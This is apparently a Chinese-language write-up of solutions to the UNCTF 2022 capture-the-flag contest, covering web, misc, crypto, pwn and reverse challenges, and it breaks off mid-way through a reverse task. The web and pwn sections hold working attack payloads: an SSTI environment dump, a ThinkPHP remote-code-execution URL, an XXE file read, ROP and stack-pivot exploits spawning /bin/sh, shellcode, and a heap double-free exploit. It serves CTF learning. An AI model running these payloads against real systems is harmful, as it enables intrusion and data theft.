【UNCTF】Write Up In 2022
前言
丢脸,被薄纱了捏,逆向纯纯的不会
Web
我太喜欢bilibili大学啦
进入phpinfo,直接搜UNCTF
就有flag了(环境变量没删
ezgame
在main.js
中搜索==
的时候找到一个奇怪的位置
手动调用这个方法,得到flag
babyphp
科学计数法绕过,数组绕过,最后用eval再传一个get参数,这样就可以调用system
302与深大
burp抓包,按要求来就行了,一个get传参,一个post传参
之后burp搜素UNCTF
关键词就行了
easy ssti
ban了class
关键字,但是可以字符串拼接
常规套路获取os,可惜不能调用system之类的,也不知道后台是咋判断的
但是能看环境变量就行
{{session['__cl'+'ass__'].__mro__[-1]['__subcl'+'asses__']()[132].__init__.__globals__['environ']}}
听说php有一个xxe
前往提示的/hint
,得到一个文件,提示有dom.php
,写一个最简单的读文件xxe
给你一刀
网上的链子一搜一大把,直接看/proc/self/environ
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/proc/self/environ
ez2048
wasm搞出来的页面,游戏是不可能玩游戏的,一步步逆回去!
首先是邀请码,这个东西与后面的flag有关,所以一定要逆这一步
把页面中的所有源代码下载下来,在本地部署,但是wasm无法调试,但是没关系,逆出邀请码就行了
首先看game.js的check函数,在这个地方打印一下view.getInt8(i)
把得到的数据进行z3求解,得到邀请码w3lc0me_7o_unctf2022!!!!
(这里有一个js的特性,就是NaN异或任何数,等于那个数本身,所有可以得到enc[1] = 51是不会变的)
from z3 import *
FLAG_LEN = 24
flag = [BitVec(f"flag{i}", 32) for i in range(FLAG_LEN)]
s = Solver()
for i in range(FLAG_LEN):
s.add(flag[i] > 32)
s.add(flag[i] < 129)
enc = [68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0, 19, 0, 0]
s.add(flag[1] == 51)
# s.add(flag[0] == 97)
for i in range(24):
if ~i % 2 == 0:
if i != 1:
s.add(flag[i] ^ flag[i-2] == enc[i])
else:
s.add(flag[i] ^ flag[i+1] == enc[i])
if s.check() == sat:
m = s.model()
res = ""
for i in range(0, FLAG_LEN):
res += chr(int(f"{m[flag[i]]}"))
print(res)
else:
print("no way")
得到邀请码之后,继续逆,可以发现成功就会调用这个部分,这个merged.value
肯定就是2048
这个allocatedInvitedCode
就是我没刚刚得到的邀请码进行了处理
在页面手动调用这个方法
UTF8ToString(_check_success('2048',allocate(intArrayFromString('w3lc0me_7o_unctf2022!!!!'),ALLOC_NORMAL)))
Misc
magic_word
给了一个word,是webdings字体的乱码,随便改成一个可以显示中文的
键盘光标在最后向左移动没有跳过字符,猜测有隐藏字符
把docx后缀改成zip然后解压,打开其中的document.xml
vscode直接提示是不可见的字符,猜测0宽
解密一下得到unctf{We1come_new_ctfer}
syslog
一个系统日志,用户名是bi0x
,关键词就搜素这个
找到一个password,base64解密一下
解压得到flag
找得到我吗
一个word文件,进入看没啥不正常的
把docx后缀改成zip,进入查看document.xml
搜素{
zhiyin
首先给出的jpg拿010看是倒序的,使用脚本反转一下
with open("./lanqiu.jpg", "rb") as f:data = f.read()
with open("./new.jpg", "wb") as f:f.write(data[::-1])
得到一张ikun
图片,有一半的密码
使用strings zhiyin.png
获取字符串,得到一串摩斯电码
..--.- ..- -. -.-. --... ..-. -.-.-- -.-.-- -.-.--
在线解码一下,得到_UNC7F!!!
但是后面两个拼接起来使用掩码爆破都没有穿,最后将摩斯得到的密码改成小写就穿了
最后的密码是Go_p1ay_unc7f!!!
得到解压zip得到flag
芝麻开门
附件有一个key和一张图
key可以base64解密得到key1
合理猜测是lsb加密,使用github的脚本进行提取 https://github.com/livz/cloacked-pixel
社什么社
拿到一个ascii的图像,纯纯的抽象,但是可以分析,应该是有船有水的地方,应为有一个水中的倒影还是比较清楚的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XO24lSDk-1668744904640)(https://gitee.com/Awoodwhale/blogimg/raw/master/img/QQ图片20221116141521.png)]
然后就是古代建筑类型的楼阁,猜测是吊脚楼
联系出题师傅是湖南省的,百度搜素关键字湖南 吊脚楼 船
猜测是凤凰古城
,拿md5大写交了试试,果不其然哈哈!
In_the_Morse_Garden
拿到一个pdf,看似啥也没有,直接ctrl+v可以复制出东西
cyber magic识别base64
可以当成摩斯电码
# coding:utf-8
data = '依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡'
data = data.replace("依古比古",".").replace("玛卡巴卡","-").replace(" ","/")
print(data)
得到.--/.-/-./..--.-/.-/-./..--.-/--/.-/-.-/.-/..--.-/-.../.-/-.-/.-/.-/.-/.-/.-/-.-.--
所以最后flag是UNCTF{WAN_AN_MAKA_BAKAAAAA!}
清和fan
第一个压缩包的注释
密码为清和B站uid下划线最高播放量视频发布日期,例123456_2020/01/01
所以密码是836885_2022/05/20
第二个压缩包有一个图片,zsteg一把嗦了
第三个压缩包,有一个wav音频,联系中情局
等关键字,百度到sstv
使用qsstv获取图片,得到解压密码V@mpir3
解压得到flag.txt
,很明显的零宽
Crypto
md5-1
先搜集所有可见字符的md5值存在一个map里,然后去读文件一一配对就行了
from hashlib import md5
import string
map = {}
for i in string.printable:
map[md5(i.encode()).hexdigest()] = i
with open ("./out.txt", "r", encoding='utf-8') as f:
data = f.readlines()
flag = ''
for l in data:
flag += map[l.split()[0]]
print(flag)
dddd
一眼摩斯,写个替换然后在线解密
with open("./dddd.txt", "r", encoding='utf-8') as f:
data = f.read()
data = data.replace("0","-").replace("1", ".")
print(data)
caesar
我把表换成了base64的表
B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
前六位是UNCTF{
,于是可以得到对应的表
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
TUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRS
换个表写个脚本就就行
a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
b = "TUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRS"
map = {}
for i in range(len(a)):
map[a[i]] = b[i]
flag = ''
for i in "B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}":
if i in ['}','{',"_"]: flag += i
else :flag += map[i]
print(flag)
md5-2
前一个字符和当前字符异或,但是因为第0个字符是保留的,所以可以一步一步逆回去
(比较坑的一点是,以开始的map的键用的是str,保留了开头是0的,导致找不到值。。。)
from hashlib import md5
import string
# print(md5(b'N').hexdigest(),md5(b'C').hexdigest())
# print(hex(int(md5(b'C').hexdigest() ,16)^ int(md5(b'N').hexdigest(),16))[2:])
# print(hex(int("80fdc84bbb5ed9e207a21d5436efdcfd",16) ^ int(md5(b'N').hexdigest(),16))[2:])
map = {}
for i in string.printable:
map[hex(int(md5(i.encode()).hexdigest(),16))[2:]] = i
with open("./out.txt", "r", encoding='utf-8') as f:
lines = f.readlines()
lines = [s.strip() for s in lines]
flag = []
for i, l in enumerate(lines):
print(flag)
if i == 0:
flag.append(map[l])
else:
# print(l, md5(flag[-1].encode()).hexdigest() )
a = (hex(int(l,16) ^ int(md5(flag[-1].encode()).hexdigest(), 16))[2:])
flag.append(map[a])
print("".join(flag))
Single table
PLAYFAIR密码,按照ctfwiki上的资料一步一步来
手动写出以PLAY
为key的表,然后一步一步推回去就行,记得删除最后一位的X
easy_RSA
给出了ecnp,但是p的后200位丢失了
所以使用sage进行修复
p=8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857<<200
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
kbits = 200
R.<x> = PolynomialRing(Zmod(n))
f = x+p
x0 = f.small_roots(X=2^kbits, beta = 0.4)[0]
print(p + int(x0))
跑出来得到修复成功的p
剩下的就是rsa的常规操作
import gmpy2 as gp
import libnum
e=0x10001
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
# p = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857<<200
p = 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
print(p)
q = n // p
phi = (p - 1) * (q - 1)
d = gp.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))
ezxor
一次一密加密,使用github的脚本 https://github.com/SpiderLabs/cribdrag和https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py
因为flag肯定是UNCTF{
开头的,所以先用第一个脚本进行部分密文的破解
得到In the
,到这里发现信息非常少,所以使用第二个脚本进行辅助
首先把第二个attack.py
那个脚本的字符串给置空,获取部分信息
得到In the floo* of h*r**es *dop
floo*一开始猜测是floor
,拿去第一个脚本尝试虽然可以跑出东西,但是后面的越来越难猜
最后猜是flood
,并且百度搜素到了一篇文章,虽然点进去已经被删除了,但是可以看到有In the flood of darkness
尝试,得到flag
babyRSA
参考 强网杯2019 Copperstudy的level2
给出的m丢失了60位
使用github的脚本 https://github.com/mimoo/RSA-and-LLL-attacks
load("cop.sage")
N = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
m=11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
e=6
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print("结果是:", hex(roots[0]))
得到m的后60位
from Crypto.Util.number import *
m = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
m |= 0x63064356431627d
print(long_to_bytes(m))
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EqlZ7UCQ-1668744904655)(C:\Users\木鲸\AppData\Roaming\Typora\typora-user-images\image-20221116144823191.png)]
ezRSA
http://www.factordb.com/ 分解一下n,得到89065756791595323358603857939783936930073695697065732353414009005162022399741**4
,那么就得到了p
import libnum
n= 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
e= 65537
c= 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504 #分解n
p=89065756791595323358603857939783936930073695697065732353414009005162022399741
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
Multi table
有点坑,源码里的shuffle(base_table)
被注释了,一开始一直以为是标准表,还在想print出来的那个表是干啥的。。。
知道给出的['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
是shuffle过的标准表就可以做了,因为UNCTF开头,U和F一定是同一个表的,其他4个表都可以得到了
直接在原脚本上改动
from string import ascii_uppercase
from random import randint,shuffle
from binascii import b2a_hex,a2b_hex
flag="UNCTF{}"
# base_table=list(ascii_uppercase)
# shuffle(base_table)
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
print(base_table)
table={}
for i in range(26):
table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
print(table)
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
key=[]
for i in range(4):
key.append(randint(0,25))
print(key)
c=''
x=0
for i in range(len(flag)):
if flag[i] in ascii_uppercase:
print(key[x%4],base_table.index(flag[i]))
c+=table[key[x%4]][base_table.index(flag[i])]
x+=1
else:
c+=flag[i]
print(c)
# ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}
# UNCTF{}
c = "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
#c = "UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}"
c = "SDCGWMPNVHGAXHUGERASMEZJNDBWNUZHETD"
c = list(c)
# UNCTF{XXX_YOU}
for i in range(26):
if table[i][base_table.index('U')] == 'S' and table[i][base_table.index('F')] == 'W':
for x in range(len(c)):
if x % 4 == 0:
c[x] = base_table[table[i].index(c[x])]
break
for i in range(26):
if table[i][base_table.index("N")] == "D":
print(table[i])
for x in range(len(c)):
if x % 4 == 1:
try:
c[x] = base_table[table[i].index(c[x])]
except:
pass
break
for i in range(26):
if table[i][base_table.index("C")] == "C":
for x in range(len(c)):
if x % 4 == 2:
try:
c[x] = base_table[table[i].index(c[x])]
except:
pass
break
for i in range(26):
if table[i][base_table.index("T")] == "G":
for x in range(len(c)):
if x % 4 == 3:
try:
c[x] = base_table[table[i].index(c[x])]
except:
pass
break
print("".join(c))
最后加上特殊符号就行了UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}
Pwn
wp所有的pwntools
库都是个人写的板子,github地址 https://github.com/Awoodwhale/pwn_all_in_one
welcomeUNCTF2022
输入UNCTF&2022
可以直接拿flag
石头剪刀布
随机数因为给定了种子,所以可以预测到
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp_shitou.py
# @Author : woodwhale
# @Time : 2022/11/12 22:22:47
# -----------------------------------
from pwntools import *
init("./shitoujiandanbu")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
c = get_clib()
c.srand(0xa)
sl("y")
for i in range(100):
v1 = c.rand() % 3
rock = 0 # 石头
scissor = 1 # 剪刀
paper = 2 # 布
if v1 == 0:
ans = 2
elif v1 == 1:
ans = 0
else:
ans = 1
sl(str(ans))
ia()
move your heart
简单的栈迁移
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2022/11/12 16:30:13
# -----------------------------------
from pwntools import *
init("./pwn")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
c = get_clib()
c.srand(0x42)
x = c.rand()
sl(str(x))
ru("0x")
stack = leak(i16(r(12)), "stack")
leave_ret = 0x00000000004012D6
pop_rdi = 0x00000000004013D3
# dbg()
# pau()
s(
p64(pop_rdi)
+ p64(stack + 0x18)
+ p64(elf.sym["system"])
+ b"/bin/sh\x00"
+ p64(stack-8)
+ p64(leave_ret)
)
ia()
checkin
直接调用puts输出flag
负数绕过直接在第0个位置输入一个空格就行了
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp_check.py
# @Author : woodwhale
# @Time : 2022/11/13 19:26:50
# -----------------------------------
from pwntools import *
init("./checkin")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
sa("name:",b"wood")
# dbg();pau()
sa("size:",b" -1")
s(b"a"*0x50 + p64(0x0000000000400699) + p64(0x0000000000400a53) + p64(0x6010C0) + p64(elf.sym["puts"]))
ia()
int 0x80
直接用可见字符的shellcode一把梭了
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp_int0x80.py
# @Author : woodwhale
# @Time : 2022/11/13 19:39:04
# -----------------------------------
from pwntools import *
init("./int0x80")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
sa("pwn", shellcode_64)
ia()
fakehero
2.23的堆,为啥呢?
因为可以上远程进行一次double free,看看有没有tcache,发现没有,那么就是2.23
申请一个比0x80大的chunk,然后释放进入unsorted bin,再申请对这个unsorted bin进行多次申请,可以得到一些libc函数的地址
泄露libc后,打malloc_hook-0x23写入one_gadget
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp_fake.py
# @Author : woodwhale
# @Time : 2022/11/12 23:37:37
# -----------------------------------
from pwntools import *
context.log_level='debug'
init("./fakehero")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
cmd = lambda idx: sla(">", str(idx))
def add(idx, size, cnt):
cmd(1)
sla("index:", str(idx))
sla("Size", str(size))
sa("Content", cnt)
def free(idx):
cmd(2)
sla("Index", str(idx))
add(0, 0x60, "aaaaaaaa")
add(1, 0x60, "aaaaaaaa")
add(2, 0x100, "aaaaaaaa")
add(3, 0x10, "aaaaaaa")
free(2)
add(4,0x70,b"a"*8*3)
add(5,0x30,b"\n")
free(4)
io_std = leak(l64(),"io")
libc.address = io_std - (0x7f4c755608e0 - 0x7f4c7519c000)
malloc_hook = libc.sym["__malloc_hook"]
ogs = [0x45226,0x4527a,0xf03a4,0xf1247]
ogs = [x + libc.address for x in ogs]
free(0)
free(1)
free(0)
add(0,0x60,p64(malloc_hook-0x23))
add(1,0x60,"a")
add(6,0x60,p64(0xdeadbeef))
add(7,0x60,b"b"*0x13 + p64(ogs[2]))
add(8,0x10,"woodwhale")
# dbg()
ia()
Reverse
ezzzzre
先用upx脱壳
ida查看,非常简单的加密方式
key = list("HELLOCTF")
for i in range(8):
key[i] = chr(ord(key[i]) * 2 - 69)
print("".join(key))
whereisyourkey
直接按照原算法运行就行了
v5 = [0] * 10
v5[0] = 118
v5[1] = 103
v5[2] = 112
v5[3] = 107
v5[4] = 99
v5[5] = 109
v5[6] = 104
v5[7] = 110
v5[8] = 99
v5[9] = 105
# print("".join([chr(x) for x in v5]))
for i in range(10):
if v5[i] == 109:continue
if v5[i] <= 111:
if v5[i] <= 110:v5[i] -= 2
else: v5[i] += 3
print("".join([chr(x) for x in v5]))
Sudoku
动调拿到最后对比的数据
data = [0x00000008, 0x00000005, 0x00000002, 0x00000004, 0x00000009, 0x00000001, 0x00000006, 0x00000007, 0x00000003, 0x00000001, 0x00000009, 0x00000006, 0x00000007, 0x00000003, 0x00000008, 0x00000002, 0x00000005, 0x00000004, 0x00000004, 0x00000003, 0x00000007, 0x00000005, 0x00000006, 0x00000002, 0x00000009, 0x00000001, 0x00000008, 0x00000005, 0x00000002, 0x00000008, 0x00000001, 0x00000004, 0x00000006, 0x00000003, 0x00000009, 0x00000007, 0x00000003, 0x00000007, 0x00000004, 0x00000009, 0x00000002, 0x00000005, 0x00000008, 0x00000006, 0x00000001, 0x00000009, 0x00000006, 0x00000001, 0x00000003, 0x00000008, 0x00000007, 0x00000004, 0x00000002, 0x00000005, 0x00000002, 0x00000001, 0x00000009, 0x00000008, 0x00000005, 0x00000004, 0x00000007, 0x00000003, 0x00000006, 0x00000007, 0x00000004, 0x00000003, 0x00000006, 0x00000001, 0x00000009, 0x00000005, 0x00000008, 0x00000002, 0x00000006, 0x00000008, 0x00000005, 0x00000002, 0x00000007, 0x00000003, 0x00000001, 0x00000004, 0x00000009, 0x00000000, 0x00000000]
for i in range(9):
d = data[i*9:(i+1)*9]
d = [str(x) for x in d]
print(" ".join(d))
然后py运行,vme肯定就是50了
vme = 50
flag = chr(29+vme)+chr(15+vme)+chr(29+vme)+chr(24+vme)+chr(39+vme)+chr(25+vme)+chr(29+vme)+chr(20+vme)+chr(32+vme)
print(flag)
halo
先upx脱壳
脱壳后ida分析
加密就是异或自身idx和下一个,所以解密从后往前异或回去就行了
data = [
0x55,
0x0B,
0x68,
0x0C,
0x73,
0x3E,
0x0C,
0x3A,
0x5D,
0x1B,
0x21,
0x75,
0x4F,
0x20,
0x4C,
0x71,
0x58,
0x7B,
0x59,
0x2C,
0x00,
0x77,
0x58,
0x77,
0x0E,
0x72,
0x5B,
0x26,
0x0B,
0x70,
0x0A,
0x77,
0x66,
0x77,
0x36,
0x76,
0x37,
0x76,
0x62,
0x72,
0x6D,
0x27,
0x3F,
0x77,
0x26,
]
for i in range(7):
data[i] ^= 0x33
for i in range(len(data)-1, 0, -1):
data[i] = data[i-1] ^ (i) ^ data[i]
print(data)
data = [chr(x) for x in data]
print("".join(data))
逆出来的数据虽然前面缺斤少两,但是大括号中的数据是对的
HelloRust
rust写的rc4算法,可以通过关键字查看到
找密钥和密文就行了
密钥
密文
import codecs
MOD = 256
def KSA(key):
"""
Key Scheduling Algorithm (from wikipedia):
for i from 0 to 255
S[i] := i
endfor
j := 0
for i from 0 to 255
j := (j + S[i] + key[i mod keylength]) mod 256
swap values of S[i] and S[j]
endfor
"""
key_length = len(key)
# create the array "S"
S = list(range(MOD)) # [0,1,2, ... , 255]
j = 0
for i in range(MOD):
j = (j + S[i] + key[i % key_length]) % MOD
S[i], S[j] = S[j], S[i] # swap values
return S
def PRGA(S):
"""
Psudo Random Generation Algorithm (from wikipedia):
i := 0
j := 0
while GeneratingOutput:
i := (i + 1) mod 256
j := (j + S[i]) mod 256
swap values of S[i] and S[j]
K := S[(S[i] + S[j]) mod 256]
output K
endwhile
"""
i = 0
j = 0
while True:
i = (i + 1) % MOD
j = (j + S[i]) % MOD
S[i], S[j] = S[j], S[i] # swap values
K = S[(S[i] + S[j]) % MOD]
yield K
def get_keystream(key):
"""
Takes the encryption key to get the keystream using PRGA
return object is a generator
"""
S = KSA(key)
return PRGA(S)
def encrypt_logic(key, text):
"""
:key -> encryption key used for encrypting, as hex string
:text -> array of unicode values/ byte string to encrpyt/decrypt
"""
# For plaintext key, use this
key = [ord(c) for c in key]
keystream = get_keystream(key)
res = []
for c in text:
val = ("%02X" % (c ^ next(keystream))) # XOR and taking hex
res.append(val)
return ''.join(res)
def encrypt(key, plaintext):
"""
:key -> encryption key used for encrypting, as hex string
:plaintext -> plaintext string to encrpyt
"""
plaintext = [ord(c) for c in plaintext]
return encrypt_logic(key, plaintext)
def decrypt(key, ciphertext):
"""
:key -> encryption key used for encrypting, as hex string
:ciphertext -> hex encoded ciphered text using RC4
"""
ciphertext = codecs.decode(ciphertext, 'hex_codec')
res = encrypt_logic(key, ciphertext)
return codecs.decode(res, 'hex_codec').decode('utf-8')
if __name__ == '__main__':
print(decrypt("UnCtF2022", "876927216FC731261B6C3A749A626EA002811D85E0E2D071F4A3090E")) # 解密
ezast
js抽象语法树,直接使用escodegen
自动分析
let {generate} = require("escodegen")
let t = generate({
"type": "Program",
"start": 0,
"end": 379,
"body": [
{
"type": "ExpressionStatement",
"start": 0,
"end": 341,
"expression": {
"type": "CallExpression",
"start": 1,
"end": 339,
"callee": {
"type": "FunctionExpression",
"start": 1,
"end": 337,
"id": null,
"expression": false,
"generator": false,
"async": false,
"params": [],
"body": {
"type": "BlockStatement",
"start": 13,
"end": 337,
"body": [
{
"type": "FunctionDeclaration",
"start": 19,
"end": 216,
"id": {
"type": "Identifier",
"start": 28,
"end": 36,
"name": "ezdecode"
},
"expression": false,
"generator": false,
"async": false,
"params": [
{
"type": "Identifier",
"start": 37,
"end": 41,
"name": "flag"
},
{
"type": "Identifier",
"start": 43,
"end": 46,
"name": "key"
}
],
"body": {
"type": "BlockStatement",
"start": 48,
"end": 216,
"body": [
{
"type": "VariableDeclaration",
"start": 58,
"end": 88,
"declarations": [
{
"type": "VariableDeclarator",
"start": 62,
"end": 87,
"id": {
"type": "Identifier",
"start": 62,
"end": 70,
"name": "arr_data"
},
"init": {
"type": "CallExpression",
"start": 73,
"end": 87,
"callee": {
"type": "MemberExpression",
"start": 73,
"end": 83,
"object": {
"type": "Identifier",
"start": 73,
"end": 77,
"name": "flag"
},
"property": {
"type": "Identifier",
"start": 78,
"end": 83,
"name": "split"
},
"computed": false,
"optional": false
},
"arguments": [
{
"type": "Literal",
"start": 84,
"end": 86,
"value": "",
"raw": "''"
}
],
"optional": false
}
}
],
"kind": "var"
},
{
"type": "ReturnStatement",
"start": 97,
"end": 210,
"argument": {
"type": "CallExpression",
"start": 104,
"end": 209,
"callee": {
"type": "MemberExpression",
"start": 104,
"end": 205,
"object": {
"type": "CallExpression",
"start": 104,
"end": 200,
"callee": {
"type": "MemberExpression",
"start": 104,
"end": 116,
"object": {
"type": "Identifier",
"start": 104,
"end": 112,
"name": "arr_data"
},
"property": {
"type": "Identifier",
"start": 113,
"end": 116,
"name": "map"
},
"computed": false,
"optional": false
},
"arguments": [
{
"type": "ArrowFunctionExpression",
"start": 117,
"end": 199,
"id": null,
"expression": false,
"generator": false,
"async": false,
"params": [
{
"type": "Identifier",
"start": 117,
"end": 118,
"name": "i"
}
],
"body": {
"type": "BlockStatement",
"start": 122,
"end": 199,
"body": [
{
"type": "ReturnStatement",
"start": 136,
"end": 189,
"argument": {
"type": "CallExpression",
"start": 143,
"end": 188,
"callee": {
"type": "MemberExpression",
"start": 143,
"end": 162,
"object": {
"type": "Identifier",
"start": 143,
"end": 149,
"name": "String"
},
"property": {
"type": "Identifier",
"start": 150,
"end": 162,
"name": "fromCharCode"
},
"computed": false,
"optional": false
},
"arguments": [
{
"type": "BinaryExpression",
"start": 163,
"end": 187,
"left": {
"type": "CallExpression",
"start": 163,
"end": 177,
"callee": {
"type": "MemberExpression",
"start": 163,
"end": 175,
"object": {
"type": "Identifier",
"start": 163,
"end": 164,
"name": "i"
},
"property": {
"type": "Identifier",
"start": 165,
"end": 175,
"name": "charCodeAt"
},
"computed": false,
"optional": false
},
"arguments": [],
"optional": false
},
"operator": "^",
"right": {
"type": "BinaryExpression",
"start": 180,
"end": 187,
"left": {
"type": "Identifier",
"start": 180,
"end": 183,
"name": "key"
},
"operator": "+",
"right": {
"type": "Literal",
"start": 186,
"end": 187,
"value": 1,
"raw": "1"
}
}
}
],
"optional": false
}
}
]
}
}
],
"optional": false
},
"property": {
"type": "Identifier",
"start": 201,
"end": 205,
"name": "join"
},
"computed": false,
"optional": false
},
"arguments": [
{
"type": "Literal",
"start": 206,
"end": 208,
"value": "",
"raw": "''"
}
],
"optional": false
}
}
]
}
},
{
"type": "VariableDeclaration",
"start": 221,
"end": 238,
"declarations": [
{
"type": "VariableDeclarator",
"start": 225,
"end": 237,
"id": {
"type": "Identifier",
"start": 225,
"end": 228,
"name": "$_a"
},
"init": {
"type": "CallExpression",
"start": 231,
"end": 237,
"callee": {
"type": "Identifier",
"start": 231,
"end": 235,
"name": "test"
},
"arguments": [],
"optional": false
}
}
],
"kind": "var"
},
{
"type": "ExpressionStatement",
"start": 243,
"end": 258,
"expression": {
"type": "AssignmentExpression",
"start": 243,
"end": 258,
"operator": "-=",
"left": {
"type": "Identifier",
"start": 243,
"end": 246,
"name": "$_a"
},
"right": {
"type": "BinaryExpression",
"start": 250,
"end": 258,
"left": {
"type": "Literal",
"start": 250,
"end": 254,
"value": 1145,
"raw": "1145"
},
"operator": "*",
"right": {
"type": "Literal",
"start": 255,
"end": 258,
"value": 100,
"raw": "100"
}
}
}
},
{
"type": "ExpressionStatement",
"start": 263,
"end": 273,
"expression": {
"type": "AssignmentExpression",
"start": 263,
"end": 273,
"operator": "+=",
"left": {
"type": "Identifier",
"start": 263,
"end": 266,
"name": "$_a"
},
"right": {
"type": "Literal",
"start": 270,
"end": 273,
"value": 11,
"raw": "0xb"
}
}
